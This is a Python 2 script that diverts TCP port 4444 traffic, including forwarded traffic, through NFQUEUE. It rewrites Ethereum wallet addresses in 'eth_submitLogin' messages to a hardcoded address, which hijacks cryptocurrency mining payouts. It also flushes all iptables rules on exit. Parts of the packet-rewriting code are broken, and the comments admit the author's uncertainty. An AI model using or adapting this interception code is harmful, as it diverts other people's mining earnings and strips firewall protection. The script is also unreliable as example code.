#!/usr/bin/python2

import os
from netfilterqueue import NetfilterQueue
import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
from scapy.all import *
import re

#   Jail it
os.system('iptables -A OUTPUT -o enp2s0 -p tcp --dport 4444 -j NFQUEUE --queue-num 1')
os.system('iptables -A FORWARD -p tcp --dport 4444 -j NFQUEUE --queue-num 1')

my_eth_address = '0xcorrectadresshere'


def handle_pkt(payload):

    #   decode data
    data = payload.get_payload()
    pkt = IP(data)

    payload_before = len(pkt[TCP].payload)  #   len
    payload_text = str(pkt[TCP].payload)

    #   watchout for missmatching adress
    if "eth_submitLogin" in payload_text:

        payload_mod = payload_text

        #if my_eth_address not in payload_text:

        print( "modified:" )
        print( str(pkt[TCP].payload) )

        payload_mod = re.sub(r'0x.{40}', my_eth_address, payload_text)

        pkt[TCP].payload = payload_mod
        payload_after = len(payload_text)   #   len

        payload_dif = payload_after - payload_before
        pkt[IP].len = pkt[IP].len + payload_dif

        pkt[IP].ttl = 40    #   changed from : pkt[IP].payload_textttl = 40 - no such method. I am not sure what this line does

        payload.set_payload( payload_mod.encode() )

        del pkt[IP].chksum
        del pkt[TCP].chksum

        #payload.set_verdict_modified(nfqueue.NF_ACCEPT, str(pkt), len(pkt))    #   die - no such method

        print( str(pkt[TCP].payload) )

    payload.accept()



nfqueue = NetfilterQueue()
nfqueue.bind(1, handle_pkt)

try:
    nfqueue.run()
except KeyboardInterrupt:
    print('exito')

nfqueue.unbind()

os.system('iptables -F')